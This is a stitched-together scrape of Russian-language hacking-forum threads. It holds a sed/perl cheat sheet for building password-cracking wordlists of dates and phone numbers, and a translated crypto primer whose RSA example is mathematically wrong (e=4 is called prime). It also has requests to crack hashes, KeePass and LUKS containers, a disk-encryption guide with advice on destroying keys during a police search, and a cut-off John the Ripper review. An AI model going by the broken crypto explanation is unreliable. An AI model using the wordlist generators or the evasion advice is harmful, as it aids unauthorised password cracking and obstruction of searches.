tr -d '\r' < dic > dic1
sed 's/^\(.\)/\U\1/' преобразовать первую букву в верхний регистр
sed 's/^\(.\)/\L\1/' преобразовать первую букву в нижний регистр
sed '/[^\d9\d10\d13\d32-\d126]/d' удалить непечатаемые символы
sed -r 's/(.$)/\1\1/' дублировать последний символ в каждой строке
perl -ne '/(.?)(.)$/;print"$1$2$2\n"' дублировать последний символ в каждой строке
sed '/^[0-9]\{8\}$/d' удалить строки длинной 8 цифр
sed '/[0-9]\{8\}/d' удалить строки длинной 8 и более цифр
sed -e 's/[^0-9]//g' удалить все символы кроме цифр
sed '/^[\d9\d10\d13\d32-\d126]
$/!d' удалить из текста всю кириллицу
sed '/^[\t\n\r -~]$/!d' удалить из текста всю кириллицу
sed 's/[^\d9\d10\d13\d32-\d126]//g' удалить из текста всю кириллицу
tr -dc '\11\12\15\40-\176' < dic > 5 удалить из текста всю кириллицу
sed 's/[^a-zA-Z0-9]//g' удалить из текста все спецсимволы
sed 's/[^a-zA-Z0-9 ]//g' удалить из текста все спецсимволы кроме пробелов
sed -n '/ajan/p' найти строки содержащие ajan и записать в файл
sed -r '/^.{3,7}$/!d' найти строки от 3 до 7 символов
wc -l dic подсчитать количество строк
comm -13 indic outdic > dic сравнить два словаря
tac перевернуть все строки сверху вниз
LANG=C sort сортировка с учётом регистра
tr ‘[:upper:]’ ‘[:lower:]’ < dic > 5 инвертировать регистр
tr ‘[:lower:]’ ‘[:upper:]’ < dic > 5
paste -d '' склеить файлы столбцом
sed -e 's/,,
/,/g;s/,*$//'
echo -e {1960..2018}{01..31}{01..12}\\n | tr -d " " | head -n -1 > 1 генерация дат
echo -e {1960..2018}{01..12}{01..31}\\n | tr -d " " | head -n -1 > 2 генерация дат
echo -e {01..31}{01..12}{1960..2018}\\n | tr -d " " | head -n -1 > 3 генерация дат
echo -e {01..12}{01..31}{1960..2018}\\n | tr -d " " | head -n -1 > 4 генерация дат
perl -e 'for $pref(921,911,952,981,951,906,953,902,964,963,950,908) {print "$pref$_\n" for "0000000".."9999999";}' > tel
sed -r 's/^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$//' 1.dic > bezIP.dic

Основы Криптографии
ID: 676536fbb4103b69df3738d4
Thread ID: 32499
Created: 2019-10-14T20:53:55+0000
Last Post: 2019-10-14T20:53:55+0000
Author: neopaket
Replies: 0 Views: 2K

Задумывались ли вы, насколько компании надежно хранят ваши пароли? Или как информация о вашей кредитной карте остается конфиденциальной при совершении онлайн-покупок?

Ответ этому вопросу - криптография. Подавляющее большинство интернет-сайтов в настоящее время используют некоторую форму криптографии для обеспечения конфиденциальности своих пользователей. Даже такая информация, как электронные письма из вашей учетной записи Gmail, шифруется.

Что такое криптография?

Криптография - это наука безопасной передачи информации, которую необходимо скрывать от потенциально опасных противников.
Например, фильм «Игра в имитацию ». Для тех, кто видел этот фильм, вы знаете, что это история о том, как Алан Тьюринг создает первый компьютер для расшифровки [немецкой машины Enigma](https://www.youtube.com/watch?v=G2_Q9FoD- oQ) (Советую посмотреть данной видео с одного из моих любимых каналов на YouTube Numberphile) - машины, которая кодировала все немецкие коммуникации, поэтому нацисты могли безопасно передавать сообщения по радио. Хотя эти сообщения легко перехватывались союзниками, сообщения не могли быть поняты, потому что все они были зашифрованы с использованием некоторого внешнего ключа, который ежедневно менялся.

Алгоритмы шифрования

  1. Шифрование с симметричным ключом - в алгоритмах с симметричным ключом есть один общий ключ, используемый для блокировки и разблокировки «ящика» шифрования. И отправитель, и получатель имеют один и тот же ключ. Алгоритмы с симметричным ключом очень короткие; однако существует проблема совместного использования общего ключа, поскольку он может быть перехвачен, а затем взломана вся система.
  2. Шифрование асимметричного ключа - в алгоритмах асимметричного ключа ключ имеет только получатель. Получатель может публично заблокировать шифр для закрытия доступа к просмотра сообщения. Этот замок называется открытым ключом , а ключ называется закрытым ключом. Примечание. Для каждого закрытого ключа существует только один открытый ключ.

Асимметричное шифрование ключей: как это работает?

Сначала получатель генерирует 2 открытых ключа n и e и один закрытый ключ d путём:

  1. Выбираем 2 больших простых числа p & q , таких что n = p * q. (Пример n = 6, p = 3 & q = 2)
  2. Выбираем другое простое число e, такое что 3 < e < n - 1. (Пример e = 4)
  3. Вычислим d по алгоритму d * e-1 = k (p-1) (q-1). (d * 3 = 2; d = 0.666, упс, бесконечное число, неудачный пример, но если взять число побольше, то такое можно избежать)

Далее вы готовы шифровать:

  1. Затем преобразуйте открытый текст, который вы хотите отправить, в число m , используя числовое представление ASCII или другой метод.
  2. Зашифруйте число m , найдя зашифрованный текст c = m ^ e mod n. (Mod - остаток при делении одного числа на другое, пример 5 mod 2 - 1,т.к 5/2 = 2; 2*2 = 4;5 - 4 =1)
  3. Отправьте n, e и c получателю.

Если это было трудно выполнить, посмотрите пример кода на моем Github, который проведёт вас через каждый шаг этого процесса, используя пакет R, называемый 'openssl'. Отрывок виден ниже:

Подписи
Другим важным аспектом шифрования является возможность подписать сообщение. Это позволяет вам проверять отправителей и избегать отправки конфиденциальной информации не тем пользователям и / или открытым ключам.

Как подписать сообщение

Создайте подпись M , такую, что S = M ^ d mod n, и отправьте S вместе с вашим сообщением. Помните, что d ваш личный ключ.

Как проверить подпись

Получатель может быстро установить, что подпись действительна, если M = S ^ e mod n.

Хэширование

Вы могли заметить в приведенном выше примере кода, как я использовал функцию sha256 () для переменной m_hash. Хеширование - это односторонняя криптографическая функция, которая позволяет вам необратимо преобразовать информацию в строку букв и цифр, называемую хешем. Хеширование отличается от шифрования, поскольку предполагается, что хеш-код невозможно расшифровать, хотя многие пытались, а некоторые преуспели. Когда вы слышите о пароле или другом взломе безопасности, это обычно относится к криптографическому взлому, при котором хакеры смогли сопоставить хеш-коды с исходным текстом.

Как это устроено:

Существуют различные алгоритмы хеширования ( MD , SHA1 , [SHA2](https://www.thesslstore.com/blog/difference-sha-1-sha-2-sha-256-hash- algorithms/) и [SHA3](https://www.nist.gov/news-events/news/2015/08/nist- releases-sha-3-cryptographic-hash-standard) ), но мы сосредоточимся на алгоритме SHA256, так как он наиболее распространен сегодня.

Алгоритм SHA256 сначала преобразует текст в строку из 256 бит (отсюда и название) из 0 и 1 (Двоичная система счисления). Примером может быть:

1110001010111000101011100010101110001010111000101011100010101110001010111000101011100010101110001010111000101011100010101110001010111000101011100010101110001010111000101011100010101110001010111000101011100010101110001010111000101011100010101110001010000101

Поскольку эти двоичные хэши очень длинные для отображения, они затем преобразуются в шестнадцатеричный формат (комбинация из 64 символов значений 0–9 и a - f), причем каждый раздел из 4 битов представляет один символ. Пример шестнадцатеричного представления:

a235810cd87df030d78e890d90c187cc04a09ad09b289b91bbae9d890f987e

Пароли

Основное использование хеширования - проверка пароля. К примеру, для вашего банка было бы крайне небезопасно хранить базу данных незашифрованных паролей, поэтому он поддерживает базу данных хэшей, которая соответствует вашему фактическому паролю. Когда вы входите в свой банк онлайн, система хэширует ваш пароль, а затем проверяет его на соответствие хешу, который у вас есть в файле.

Эта система работает, потому что алгоритмы хеширования всегда выдают один и тот же хеш для одного и того же пароля - хеши не являются случайной комбинацией символов. Хеширование также является причиной того, что важно иметь сложные и уникальные пароли, потому что, если я вычисляю хеш для «password123» и сопоставляю его с хешем, который вам соответствует, то я знаю, что ваш пароль - «password123» и я могу легко взломать ваш банковский счет онлайн.

**Бонусный контент!

Радужная таблица.**

Радужные таблицы - это базы данных хэшей общих паролей.

Возьмите, например, пин-коды банкоматов. Существует 10 000 комбинаций 4-значных ПИН-кодов банкоматов с цифрами 0–9. Радужная таблица предоставит хэш для каждого из 10 000 кодов, и хакер может использовать этот список хэшей, чтобы отобразить хэш обратно в ваш код, таким образом расшифровав ваш пин-код из своего хэша.

Как я могу спать по ночам?

Расслабьтесь! Банки и большинство других организаций понимают, что хакеры хотят получать конфиденциальную информацию, поэтому они обычно обеспечивают дополнительный уровень безопасности с помощью так называемой «соли».

Соли - это дополнительные строки символов, добавленные к паролю (или другой информации), чтобы сделать его более уникальным, длинным и более сложным для взлома.

Вместо того, чтобы иметь PIN-код = «0000», добавление соли изменило бы ваш пин-код на что-то вроде «0000B_of_A_salt», что могло бы иметь совершенно другой хэш. Организации могут творчески использовать соли, чтобы сделать хакерство чрезвычайно трудным. Чтобы использовать радужный стол для взлома такого алгоритма, вам понадобится радужный стол для каждой возможной соли, что значительно увеличивает количество возможных комбинаций номеров выводов.

Blockchain

Криптография позволяет блокчейну проверять отправителей в сети с помощью подписей, а также гарантирует, что прошлые транзакции и записи, известные как «блоки», не могут быть изменены.

Блокчейн также использует алгоритмы хеширования для назначения уникального хеша каждому блоку, что позволяет различать блоки.

Заключение

Теперь, когда вы знаете все о хэшировании и шифровании, посмотрите это короткое видео о том, как Алану Тьюрингу (Опять же от себя neopaket'a советую посмотреть данное видео и канал Numberphile) удалось «взломать» немецкую машину Enigma, и посмотрите фильм Игра в имитацию, если вы еще этого не сделали!

  • Примечание. Для целей этой статьи я сосредоточился на алгоритме асимметричного шифрования, который называется RSA (Rivest, Shamir и Adleman) Encryption.

Спасибо за прочтение данной статьи и хорошего дня ;)
Оригинальная статья: <https://towardsdatascience.com/the-basics-of- cryptography-80c7906ba2f7>
neopaket

Расшифровать sha256(sha256($pass).$salt)
ID: 676536fbb4103b69df3738d8
Thread ID: 31959
Created: 2019-09-22T11:12:09+0000
Last Post: 2019-09-29T18:54:47+0000
Author: astroscylla
Replies: 4 Views: 2K

День добрый. Не могу найти в тулзах типа hashcat расшифроку такого плана:

bea3e0ab2c506ef5c4aa20fa96855fd55c54f18504Xb48061ea5d25af07a8587:cVrrsCzbafoDc4tpBtGt2HHoCcF1A8LV

Click to expand...

Где bea3e0ab2c506ef5c4aa20fa96855fd55c54f18504Xb48061ea5d25af07a8587 вроде sha256(соль + пароль), а cVrrsCzbafoDc4tpBtGt2HHoCcF1A8LV - соль.

Подскажите, есть возможность расшифровать такое?

Заметка по криптографии #1. Алгоритм DES и слабые ключи.
ID: 676536fbb4103b69df3738d9
Thread ID: 32003
Created: 2019-09-24T16:26:28+0000
Last Post: 2019-09-24T16:26:28+0000
Author: pablo
Replies: 0 Views: 2K

Заметка по криптографии #1.
Сегодняшняя заметка посвящена уже не особо популярному алгоритму DES и слабым ключам.
Алгоритм DES сейчас активно не используется (хотя, говорят, что в банкоматах до сих пор он используется), т.к. размер ключа сильно ограничен и может быть найден атакой полного перебора.
Подробнее про алгоритм DES - https://ru.wikipedia.org/wiki/DES
Это алгоритм блочного симметричного шифрования с размером блока 64-бита и размером ключа 56-бит.

Про слабые ключи.
Про эту фишку знают не особо многие и в целом на CTF'е таких тасков мало, а в реальной жизни наверное сложно найти такие кейсы, но всё же существуют слабые ключи.
Слабость заключается в том, что при двойном шифровании с помощью этого ключа мы получим исходный текст
Вырезка с википедии.

Таким образом, вы можете просто пробовать эти ключи для шифрования уже шифрованного текста, который у вас есть и может оказаться так, что у вас получится расшифрованный текст.
Вот пример того, как это работает на Python.

Создаём ключ используя слабый ключ.

Шифруем и получаем строчку.

Шифруем ещё раз (тем же самым ключом) и получаем исходный текст.
Аналогичные действия с не слабым ключом.


Как видно, для не слабых ключей эта фишка не работает.

Telegram-канал "Убежище Хакера"

Софт для восстановления удаленных данных с носителей
ID: 676536fbb4103b69df3738da
Thread ID: 31859
Created: 2019-09-17T18:09:24+0000
Last Post: 2019-09-17T18:21:01+0000
Author: tabac
Replies: 1 Views: 2K

Решил закинуть "статейку" с небольшим обзорчиком нескольких тулз для восстановления случайно (и не очень) удаленных данных с флешек, hdd и т.д.

При расследовании инцидентов часто на экспертизу попадают usb накопители, но методы изъятия из ПК или ноутбуков делают эти устройства потом не читаемыми, как пример такого устройства pqi usb flash 256 мб, при подключении в систему выдает "форматировать диск"

Подопытный: img образ, снятый утилитой dc3dd с 16гиговой флешки, на которой я чего только не таскал.
Инструментарий: Autopsy 4, Foremost, Scalpel, R-Studio, DMDE. Что-то кроссплатформерное, что-то нет. Что-то бесплатное, что-то платное.
Железо: ноут. 8 гигов оперативки, i5 проц с частотой 2,8. Так что если ваша машина мощнее, то и тулзы работать будут шустрее.
Критерии на которые я обращал внимание: скорость работы, какие типы файлов можно и нельзя восстановить, наличие кроссплатформерности и функционал.

Foremost

Легкая тулза для linux. Максимум простоты в обращении и в функционале. Типов файлов, которые она мне восстановила совсем не много, как и объем, который они занимали после восстаовления. Скоблил foremost это всё минут 5.

По моему личному мнению инструмент полезный по причине своей узконаправленности. Если вам не нужно восстанавливать утерянные iso'шники и всё возможное, а просто нужно вернуть удаленные картиночки, то тулза должна справиться и не забьет вам голову вопросом о том как с ней работать.

Scalpel

Инструмент уже помощнее. Есть под Linux и под Windows. Но я юзал его под Linux'ом и словил косяков. Сканит он в 2 этапа, судя по строкам в терминале.

И если первый скан проходит за 10 минут, то второй этап бухнул мне изначально 5 часов. Благо потом время спало до 1 часа, но чем дольше он сканировал, тем больше цифра становилась во времени ожидания.

В конце концов, спустя час ожидания, сканирование пришлось прервать из логических выводов. За 25 % сканирования во 2м этапе памяти на моем бедном hdd сталоменьше на 150 гигов. Напоминаю, что образ флешки всего 16 gb. Что за "ица трап"? До этого, с другими образами, была та же история. Если сканируемый образ был 30 mb, то папка с данными после полного сканирования весила 600 mb. Увеличение было примерно в 20 раз.

И ладно если бы scalpel реально наворотил там 150 гигов данных каких-то, но нет. Он создал тьму вот таких пустых папок. Они реально были пустыми,за исключением самых первых для одного типа. В первой папке находились файлы, а во всех последующих пустота.

Из-за возможных возникших проблем с прогой полной картины не дам, но по критериям скажу. Время занимает уйму, за час всего 20%. Касаемо количества типов восстанавливаемых файлов- достаточно не плохо, восстанавливаются самые распространенные типы. Жаль, что не совсем все. Функционал чуть пошире чем в foremost.

R-Studio

А теперь поговорим о платном кроссплатформерном чуде за 80+ баксов. Linux, Windows и OSX имеют установщики данной программы. Так что с кроссплатформерностью тут полнейший порядок (за такие деньги-то почему бы и нет). Ладно-ладно, есть бесплатная версия, но она может восстанавливать данные только размером меньше 256kb на сколько я помню.

Если не вникать в весь функционал (который достаточно не скудный) программы, то обращение сводится к 3м действиям: 1-Выбрать носитель; 2- Просканировать его; 3-Восстановить файлики. Все просто. Касаемо скорости тут тоже все прилично. Сканирование заняло около 5 минут. Касаемо типов файлов- восстанавливает всё, что найдет.

Отличная программа для популярных ОС с прекрасным функционалом и оптимизированной работой. Единственный минус- это минус 80+ баксов из кармана, если ее покупать.

Autopsy

А вот и конкурент для предыдущей программы, который тоже может похвастаться своей кроссплатформерностью и засесть на Linux, Windows и OSX. Но теперь инструмент бесплатный.

Функционал мало чем отличается от R-Studio. Всё так же можно работать как напрямую с носителями, так и с их образами. Всё те же манипуляции для восстановления файлов. Все тот же большой список типов файлов, которые можно восстановить... Отличие в более низкой производительности. Если R-Studio проделала работу за 5минут, то Autopsy пыхтел целых 30 минут.

Программа лично мне понравилась. И бесплатная, и функциональная, и поддерживает разные ОС. Но если в Windows установка происходит в пару кликов, то под Linux (Mint в моем случае) я немного подпыхтел и отложил установку 4й версии в дальнейшие планы. Про OSX не скажу ничего, ибо нет возможности попробовать данный инструмент там.

DMDE

И вот подобрались мы к последнему инструменту. Он тоже занимает высь в кроссплатформерности и расселяется на Linux, Windows и OSX. Но инструмент снова платный (90 баксов вроде как). Но имеет бесплатную версию. В каких краях эта бесплатная версия урезана я не понял. Юзалось все без каких-либо ограничений.

Функционал прекрасный, мне даже показалось, что пожирнее, чем у R-Studio будет. Производительность тоже прекрасная. Сканирование шло минут 7. Это конечно больше, чем у R-Studio, но DMDE выплюнула более целые файлы и структуру флешки. Типы восстанавливаемых файлов опять-таки на максимуме.

Выводы

Сначала скажу про конечное трио (Autopsy, R-studio, DMDE). Инструменты очень схожие между собой. Все достаточно функциональны, удобны и полезны. Так же все они кроссплатформерны. Остается вопрос в цене. Есть хороший бесплатный Autopsy, есть бесплатные версии R-Studio и DMDE. А есть и платные версии R-Studio и DMDE, которые, не будем врать друг другу, все могут спокойно найти на торрентах с кряками. Выбор за вами.

Теперь про Foremost и Scalpel. Они не имеют такого огромного функционала, но и не являются бесполезными, т.к. могут найти файлы определенного типа (если поддерживают его) в кротчайший период. Я запускал скан всех возможных файлов, но если бы я захотел восстановить чисто картиночки jpg, то инструменты справились бы секунд за 10. Так что не стоит сбрасывать со счетов маленькие программы.

Почему не рассматривались другие программы?

Я уверен, что найдутся люди, которые скажут про TestDisk, Recuva, Puran, R-Linux и прочий подобный инструментарий, поэтому пояснение. Я рассматривал программы, которые лично мне показались наиболее функциональными и которые были бы максимально кроссплатфорерными. Вдобавок я рассмотрел пару тулз, которые достаточно узконаправленные, но не бесполезны. Такие же не бесполезные, но и не мощные я не стал рассматривать по причине их большого количества. Все они полезны в определенные моменты и имеют свою изюменку, но...

Автор: @Dmitry__

Расшифровать .kdbx
ID: 676536fbb4103b69df3738db
Thread ID: 31038
Created: 2019-08-13T19:58:54+0000
Last Post: 2019-09-16T22:42:26+0000
Author: mysmartmind
Replies: 2 Views: 2K

Сабж в теме, ребята подскажите чем(как?) расшифровать сабж из темы? Есть бд, забыл пароль.

Linux Mint sda5_crypt problem
ID: 676536fbb4103b69df3738de
Thread ID: 31505
Created: 2019-09-02T21:59:46+0000
Last Post: 2019-09-04T13:00:09+0000
Author: Caprizone
Replies: 2 Views: 2K

Собственно проблема, забыл пароль от жесткого диска, зашифрованый при установке Linux Mint. Помню примерную фразу, но мне могу ее ввести правильно. Может кто подскажет возможно ли вскрыть, там 1btc на electrum :smile88:

Установка Arch Linux с шифрованием и ключом на флешке
ID: 676536fbb4103b69df3738df
Thread ID: 31341
Created: 2019-08-26T16:51:10+0000
Last Post: 2019-08-26T16:51:10+0000
Author: tabac
Prefix: Статья
Replies: 0 Views: 2K

**Установка Arch Linux с шифрованием и ключом на флешке.

----------------------------------------------------------------------------------------------------

План**

  1. Введение
  2. Железо и софт
  3. Установка
  4. Заключение

**----------------------------------------------------------------------------------------------------

Введение**

Начнем с того что данные должны находиться на шифрованном жестком диске. Это как минимум. Лучше диск должен быть съемным, причем быстро. Хорошо если ключ шифрования имеет большую длину и вводиться без ошибок. Да, нужно иметь 2 ос, одну для работы а вторую для остальных дел. Вторая ос, это Linux которая находится на шифрованном съемном диске, лучше всего SSD. В данное время некоторые ноутбуки все еще оснащаются DVD приводом, так вот его лучше снять и поставить вот такую штуку DVD HDD

Если необходим будет привод для чтения дисков то он вставляется за 5 сек. В основной ос не храним ничего противозаконного, стандартный набор софта. А вот вторая Ос шифрованная и быстросъемная. Вводить каждый раз пароль длинной 255 символов это для мазохистов, поэтому ключ будем хранить на флешке, которая вставляется только при загрузке ос, а дальше вынимается и прячется. Самый маленький размер имеет карта флеш-памяти M2, Достаточно будет и 2х гигов. В качестве флешки используем вот такой переходник

На microSD флешке храниться ключ от жесткого диска. Если что то microSD ломается и данные не востановишь. Тут можно сделать два пути, или у нас есть резервный ключ (да-да те 255 символов что брутом не осилишь) или простой пароль, который сносит все шифрование нафиг. 255 символов лучше спрятать в картинке в помощь стенография, и закинуть в инет ))). Ну или нацарапать на стене + пару символов спереди и сзади чтоб наверняка. Тк если диск изымут при обыске то никто не будет загружать ноут с ним. Делают дамп и с дампом работают. Флешка должна быть всегда вдалеке от компа, и рядом только в случае его включения. Жесткий диск лучше хранить в тайнике и только при работе вынимать его. Да и не забудь про бронированную дверь, пока ее будут вскрывать у тебя есть несколько секунд чтоб прожевать флешку и вырубить ноут, максимум разбить SSD. Если же все-таки тебя застали с работающим ноутом, то он должен выключаться автоматически через какое-то время простоя. Еще лучше если у тебя будет скрипт, который вырубит ноут. Затрет рандомом заголовок диска.

**----------------------------------------------------------------------------------------------------

Необходимое железо и софт**

Все ясно, оборудование которое понадобится

  1. Ноут
  2. Флешка (На нее запилю установочный образ Arch Linux)
  3. Жесткий диск (Arch на шифрованном разделе + /boot на отдельном разделе этого диска)
  4. Карта microSD для записи ключа шифрования
  5. Второй ноут с которого буду ставить все через сеть (Ну лень мне набивать команды вручную, легче копировать через буфер).

Сливаю образ арча Arch Linux - Downloads. И программу для записи ее на флешку ROSA ImageWriter — Rosalab Wiki. Запиливаю образ на флешку. Вставляю в ноут жесткий диск на который ставлю Arch, Флеш-карточку microSD и флешку с установочным образом.

**----------------------------------------------------------------------------------------------------

Установка**

Гружусь с флешки.

1566386504849.png

Когда загрузил ноут с флешки

Wifi-menu - Подключаюсь к wi-fi
ping -c4 ya.ru — Проверяю пинг
Ifconfig -a - Смотрю адрес интерфейса
passwd root - Задаю пароль суперпользователя
systemctl start sshd.service - запуск SSH демона

----------------------------------------------------------------------------------------------------

На другом ноуте подключаюсь к wi-fi и подключаюсь к серверу
**

Code:Copy to clipboard

ssh root@IP_ADRESS_SERVER

----------------------------------------------------------------------------------------------------**

Смотрю все разделы которые определились
**

Code:Copy to clipboard

fdisk -l

----------------------------------------------------------------------------------------------------**

/dev/sda — Флешка образом Arch (с нее ставим Arch Linux)
/dev/sdb — Жесткий диск на который ставлю систему
/dev/sdc — Флешка для хранения ключа

----------------------------------------------------------------------------------------------------

Затру рандомом весь жесткий, да это очень долго так что лучше на ночь закинуть.

Code:Copy to clipboard

shred --verbose --random-source=/dev/urandom --iterations=3 /dev/sdb

----------------------------------------------------------------------------------------------------

Code:Copy to clipboard

cfdisk /dev/sdb

1566386528982.png

Выбираю DOS

3.png

И вот таким образом разбиваю хард (Вместо sda у нас sdb, я делал на виртуалке, так что немного различаются названия)

----------------------------------------------------------------------------------------------------

Шифрую жесткий диск

Code:Copy to clipboard

cryptsetup --verbose --cipher aes-xts-plain64 --key-size 512 --hash sha512 --iter-time 5000 --use-random luksFormat /dev/sdb2

Тут небольшое отступление, здесь необходимо сгенерировать хороший стойкий пароль, который лучше закинуть в картинку с помощью стенографии или нацарапать в подвале )))

Генератор паролей | LastPass можно использовать другой генератор, этот как пример.

----------------------------------------------------------------------------------------------------

Подключаю шифрованный раздел

Code:Copy to clipboard

cryptsetup open --type luks /dev/sdb2 cryptroot

----------------------------------------------------------------------------------------------------

Далее форматирую диски.

mkfs.ext2 /dev/sdb1 - /boot раздел
mkfs.ext4 /dev/mapper/cryptroot - /root раздел
mkfs.ext2 /dev/sdc - флешка, на которой находится ключ

----------------------------------------------------------------------------------------------------

Монтирую файловую систему

Code:Copy to clipboard

mount -t ext4 /dev/mapper/cryptroot /mnt
mkdir -p /mnt/boot
mkdir -p /mnt/key
mount -t ext2 /dev/sdb1 /mnt/boot
mount -t ext2 /dev/sdc /mnt/key

----------------------------------------------------------------------------------------------------

Ставлю систему

Code:Copy to clipboard

pacstrap -i /mnt base base-devel sudo mc htop glances dialog wpa_supplicant grub

----------------------------------------------------------------------------------------------------

Генерация fstab

Code:Copy to clipboard

genfstab -U -p /mnt >> /mnt/etc/fstab

----------------------------------------------------------------------------------------------------

Chroot

Code:Copy to clipboard

arch-chroot /mnt

----------------------------------------------------------------------------------------------------

Ставлю локали

Code:Copy to clipboard

sed -i 's/#en_US.UTF-8 UTF-8/en_US.UTF-8 UTF-8/g' /etc/locale.gen
locale-gen
echo LANG=en_US.UTF-8 > /etc/locale.conf
export LANG=en_US.UTF-8

----------------------------------------------------------------------------------------------------

Ставлю время

Code:Copy to clipboard

rm -v /etc/localtime
ln -s /usr/share/zoneinfo/Europe/Moscow /etc/localtime
hwclock --systohc —utc

----------------------------------------------------------------------------------------------------

Имя хоста

Code:Copy to clipboard

echo HostName > /etc/hostname

----------------------------------------------------------------------------------------------------

Добавлю простого пользователя
**

Code:Copy to clipboard

useradd -m -g users -G wheel,games,power,optical,storage,scanner,lp,audio,video -s /bin/bash User_Name

**Пароль User_Name
**

Code:Copy to clipboard

passwd User_Name

**и пароль root
**

Code:Copy to clipboard

paswd root

**В права в sudo

Code:Copy to clipboard

nano /etc/sudoers -> %wheel ALL=(ALL)

----------------------------------------------------------------------------------------------------

Записываю рандомные данные в файл ключа

Code:Copy to clipboard

dd if=/dev/urandom of=/boot/boot.bin bs=1024 count=2

----------------------------------------------------------------------------------------------------

Добавляю файл ключа на криптованный раздел

Code:Copy to clipboard

cryptsetup luksAddKey /dev/sdb2 /boot/boot.bin

----------------------------------------------------------------------------------------------------

Добавляю вот такую строчку в **/etc/mkinitcpio.conf

Code:Copy to clipboard

HOOKS=(base udev autodetect modconf block encrypt lvm2 filesystems keyboard fsck)

----------------------------------------------------------------------------------------------------**

Смотрим uuid флеш-карточки microSD, команда blkid

Записывавем в файл /etc/default/grub вот такую строчку

GRUB_CMDLINE_LINUX= "cryptdevice=/dev/sdb2:main cryptkey=/dev/disk/by- uuid/uuid_раздела_флеш_карты:ext2:/boot.bin "

+ еще пару строчек

Code:Copy to clipboard

GRUB_ENABLE_CRYPTODISK=y
GRUB_CRYPTODISK_ENABLE=y

----------------------------------------------------------------------------------------------------

Последние штрихи, надо поставить grub и сконфигурировать начальный загрузочный диск системы.

Code:Copy to clipboard

mkinitcpio -p linux
grub-install --recheck /dev/sdb
grub-mkconfig --output /boot/grub/grub.cfg

**----------------------------------------------------------------------------------------------------

Заключение**

Выходим и ребутим ноут. В BIOS выбираем загрузку с быстросьемного SSD. После того как проскочил GRUB вставляю флеш карту, и когда появляеться приглашение на Login в системе вынимаем ее. Сейчас я установил базовую систему, без репозиториев BlackArch и графического интерфейса и русификации. Это сделаем в других статьях (если у меня будет время и желание, и посмотрю зайдет ли эта статья ?)

Автор (c) SNIPERSON

hash-identifier. Определение типа хешей.
ID: 676536fbb4103b69df3738e0
Thread ID: 31183
Created: 2019-08-19T20:13:59+0000
Last Post: 2019-08-19T20:13:59+0000
Author: pablo
Replies: 0 Views: 2K

**hash-identifier

**

Утилита для определения различных типов хэшей, используемых для шифрования данных и, в частности, паролей. Даете ей на вход хеш, она определяет его тип.

![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2Fd9a227a7bd47c3770dccc8b64f97b24f37e47913eaac5d1e078daf6dbf337098%2Fblackploit%2Fhash- identifier&hash=0dad6f989ad6a17df811089acefbf3b3&return_error=1)

[ GitHub - blackploit/hash-identifier: Software to identify the different

types of hashes used to encrypt data and especially passwords ](https://github.com/blackploit/hash-identifier)

Software to identify the different types of hashes used to encrypt data and especially passwords - blackploit/hash-identifier

github.com github.com

Шифрование паролей
ID: 676536fbb4103b69df3738e1
Thread ID: 31040
Created: 2019-08-13T20:37:11+0000
Last Post: 2019-08-14T21:06:34+0000
Author: finistro
Replies: 4 Views: 2K

Просто оставлю это здесь, может кому понравится алгоритм:). Попался на одном сайте довольно интересный способ шифрования пароля при авторизации. Авторизация разделяется на 2 HTTP запроса. В первом передается логин и строка из рандомных байт в виде base64(login, base64(Client random bytes)). Сервер на него отвечает base64(base64(Server random bytes)).
Во втором запросе все еще интереснее:
password=base64(func())

func()
{
array1 = HMACsha256(base64("Constant string"), key(pbkdf2(password, base64(Client random bytes))));
string1 = login+base64(Server random bytes)+base64("Constant string");
array2 = HMACsha256(string1, base64(sha256(base64(HMACsha256(base64("Constant string"), key(pbkdf2(password, base64(Client random bytes))))))));
for(int a = 0; a < 32; a++)
{
array3 += array1[a] ^ array1[a];
}
return array3;
}

расшифровка .PLANT ransomware
ID: 676536fbb4103b69df3738e2
Thread ID: 31047
Created: 2019-08-14T08:29:25+0000
Last Post: 2019-08-14T08:29:25+0000
Author: castaneda
Replies: 0 Views: 2K

нужна помошь по расшифровке .PLANT ransomware, поговорим о цене.

Пособие-мануал по John the Ripper 1.9.0-jumbo-1 (2019 год)
ID: 676536fbb4103b69df3738e7
Thread ID: 29536
Created: 2019-05-27T17:32:53+0000
Last Post: 2019-05-27T20:16:22+0000
Author: tabac
Prefix: Статья
Replies: 1 Views: 2K


В мае 2019г. произошло еще ~~не~~ одно знаменательное событие в области ИБ: выход в свет обновлённого Профессионального инструмента взломщика паролей под либеральной лицензией - John the Ripper 1.9.0-jumbo-1. Предыдущая версия легендарного ПО John the Ripper 1.8.0-jumbo-1 выходила в декабре 2014г.

В GNU/Kali/Parrot этот инструмент не обновлялся с 2015г. по заморозь 2018г. Осенью 2018г. я делал запрос на форумы обоих ОС: "почему профессиональный крэкерский инструмент не обновляется (так как "половину функций" работали некорректно в старых сборках)"? Спустя пару недель, JTR одновременно обновили в обоих ОС, да это был успех, но я не рекомендую пользоваться Джоном в этих ОС по следующим причинам: ~~это просто пи....;~~ ранее сборка была компилирована лишь под одно ядро CPU; часть подинструментов JTR растеряна (с помощью которых извлекался хэш из нужного формата для взлома), а некоторые подинструменты и функции JTR все еще имеют баги, например, wpapcap2john (извлекает неверный хэш из pcap файла для JTR препроцессора).

Конечно, здесь не везде вина разработчиков хакерских ОС, JTR имел/имеет огромное кучу багов, а на Гитхабе открываются каждый день запросы по улучшению или исправлению ошибок в JTR-е. Репозиторий JTR на Гитхабе развивается куда энергичнее своего брата Hashcat. при этом между этими инструментами существует честная конкуренция: команды разработчиков вносят друг у друга исправления и улучшения в свои инструменты, а так же согласовывают некоторые общепринятые правила по брутфорсу паролей, или "делят между собой" новые поддерживаемые форматы для взлома.
Вообще, история JTR-а и тех Крутых разработчиков (разработчик Ettercap в деле и не только...) , кого привлекли к разработке софта очень даже занимательная.

Рекомендую не пользоваться JTR предустановленными в Kali/Parrot, а компилировать всегда свежую версию JTR с Гитхаба (хоть, каждую неделю) , и для тех крекеров, которые так и делали, то John the Ripper 1.9.0-jumbo-1 ни чем не удивил из своих новшеств. Для тех, кто этот инструмент не обновлял, с предпоследней версии изменилось/добавилось огромное кол-во функций/форматов/улучшений и исправлений. Инструмент JTR на столько напичкан новыми взрывными функциями, что в документации ПО прямо говориться: "JTR инструмент сложный, в первую очередь рассчитан для сисадминов и мачо)", ну примерно такой посыл даётся.

Что изменилось в JTR с предпоследней версии на последнюю (напомню, промежуточные сборки JTR обновляются на Гитхабе каждый день):

